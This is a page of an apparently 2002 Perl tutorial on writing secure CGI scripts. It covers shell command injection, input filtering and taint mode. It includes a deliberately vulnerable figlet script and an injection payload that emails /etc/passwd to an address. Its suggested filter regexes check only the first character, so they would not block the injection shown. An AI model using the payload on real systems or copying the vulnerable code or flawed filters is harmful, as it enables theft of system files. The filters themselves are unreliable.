Home arrow Perl Programming arrow Page 3 - Writing Secure CGI Scripts

Shell processing&toc - Perl

One area often overlooked in CGI programming is security. In this article Pete looks at common flaws in CGI scripts and how to fix them with Perl's taint mode, by filtering user input and more.

TABLE OF CONTENTS:
  1. Writing Secure CGI Scripts
  2. Why should I care about security?
  3. Shell processing
  4. Untainting data
By: Pete Smith
Rating: starstarstarstarstar / 6
May 30, 2002

print this article
SEARCH DEV SHED

TOOLS YOU CAN USE

advertisement
The biggest problems come with system commands, in particular when Perl has access to a shell. If you have experience with Unix shells such as bash or tcsh, then you'll know that they offer a huge variety of commands and characters with special meanings. Unexpected user input can create all sorts of strange effects.

Lets look at an example. Figlet is a popular program for creating fancy ASCII text (you can see my figlet server in action at http://www.p-smith.co.uk/figlet.php3). The basic syntax for using figlet is:

$ figlet 'Hello World'

Type this at the Unix shell, and it prints Hello World in large letters using the default font. Being a CGI scripter, you will no doubt be thinking "wouldn't it be cool to create a script to take some letters enter by the user, run them through figlet, and send the result back to the web browser". And indeed it would be cool.

Here's a first attempt at doing this:

<form action="cgi-bin/figlet.pl" method="get">
Enter Some Text To Display <input type="text" name="thetext">
<input type="submit" value="do it">
</form>


And for the perl script:

#!/usr/bin/perl -w

use CGI;

$q = new CGI;
$text = $q->param('thetext');

open PIPE, "/usr/local/bin/figlet \"$text\" |";
print "Content-type:text/html\n\n";
print "<pre>";
print while <PIPE>;
close PIPE;


Not a masterpiece of scripting, but simple enough to illustrate my point. We open a pipe to the figlet binary, passing it the text string to display. We then print the result to the users browser (adding <pre> tags so that it formats correctly).

Now, we are piping data to an external program that involves Perl using the shell, and as we have already mentioned, the shell is a strange beast. No problemo if the user sticks to normal text, but what happens if they enter this?:

"; mail pete@perlcoders.com </etc/passwd

This is the command that ends up getting executed at the shell:

$ /usr/local/bin/figlet ""; mail pete@perloders.com </etc/passwd

This has the effect of running figlet with an empty string (""), which simply prints out nothing and then pipes the passwd file into an email and sends it to me. Experienced shell users will already know that the semicolon allows us to place two commands on one line.

So what do we do about these kind of problems?

Filtering User Input
Obviously some sort of filtering is required. You could make a list of all the characters to disallow, but could you really be sure you'd included everything? A better approach is to specify which characters should be allowed, and reject everything else.

Alphanumerics are fine, as are periods, question marks, exclamation marks, underscores and hyphens. Everything else we reject. The regular expression below matches characters that are not any of these (\w matches letters, numbers and underscore):

if ($text !~ /^[\w .!?-]/) {
print "Please limit your input to letters, numbers, _ ! . ? and -";
exit;
}


Admittedly this means a trade-off in functionality since the user could not, for example, use apostrophes.

Using a regex like the one above is good practice to use on all user input. Not only does it improve security, but it can also be used to correct the user if they make a mistake - a variable expected to hold the users telephone number should only hold numbers (and maybe spaces), so something like:

if ($phoneno !~ /^[\d_]/ ) { ......

... would catch any other characters.

For email addresses, we could even go a step further and specify that the address must be in the form of:

something@something.something

Or as a regex,

.*?\@.*?\..*? 

If you aren't familiar with regular expressions, then take a look at Mitch's article on PHP and regular expressions here. Just ignore the PHP and you'll be able to pick up regular expressions in about 10 minutes.

Perl's Taint Mode
Now, keeping tracking of user input and remembering to check it can be hard work. In a big program it's too easy to loose track of data that has been checked and data that has not. Luckily Perl comes to the rescue with it's "taint mode".

Taint keeps track of user input that has not been checked, and will exit with an error if you attempt to do anything 'unsafe' with this data. In effect, taint mode protects you from yourself. Lets look at an example:

#!/usr/bin/perl -wT

use CGI;

$w = new CGI;
$firstname = $w->param('firstname');
$surname = $w->param('surname');

$fullname = $firstname . " " . $surname;

...


The first thing you'll notice here is the -T flag: this turns taint mode on, in the same way that -w turns warnings on. Hopefully you've realised that since $firstname and $surname contain user input, they are considered tainted by perl. Any attempt to use these variables unsafely will cause the script to die.

What you may not have realised is that the variable $fullname is also tainted. Perl keeps track of tainted data for you, and that tainted-ness will follow the variable if it is assigned to another variable.

It's interesting to note what Perl considers to be an unsafe action. Generally, any attempt to pass tainted data directly to a shell via a pipe is unsafe. If you constructed a filename based on user input, it would be legal to open this file read only, but opening it for writing would cause an error. (This is an interesting point - even thought taint considers it acceptable, you certainly don't want to allow unchecked data to be used as the basis of a filename).

Now taint mode is rather restrictive, and unless there was a way to 'untaint' data, you would have a hard time doing anything usefully in Perl.

 
 
>>> More Perl Programming Articles          >>> More By Pete Smith
 

blog comments powered by Disqus
escort Bursa Bursa escort Antalya eskort
   

PERL PROGRAMMING ARTICLES

- Perl Turns 25
- Lists and Arguments in Perl
- Variables and Arguments in Perl
- Understanding Scope and Packages in Perl
- Arguments and Return Values in Perl
- Invoking Perl Subroutines and Functions
- Subroutines and Functions in Perl
- Perl Basics: Writing and Debugging Programs
- Structure and Statements in Perl
- First Steps in Perl
- Completing Regular Expression Basics
- Modifiers, Boundaries, and Regular Expressio...
- Quantifiers and Other Regular Expression Bas...
- Parsing and Regular Expression Basics
- Hash Functions

Developer Shed Affiliates

 


Dev Shed Tutorial Topics: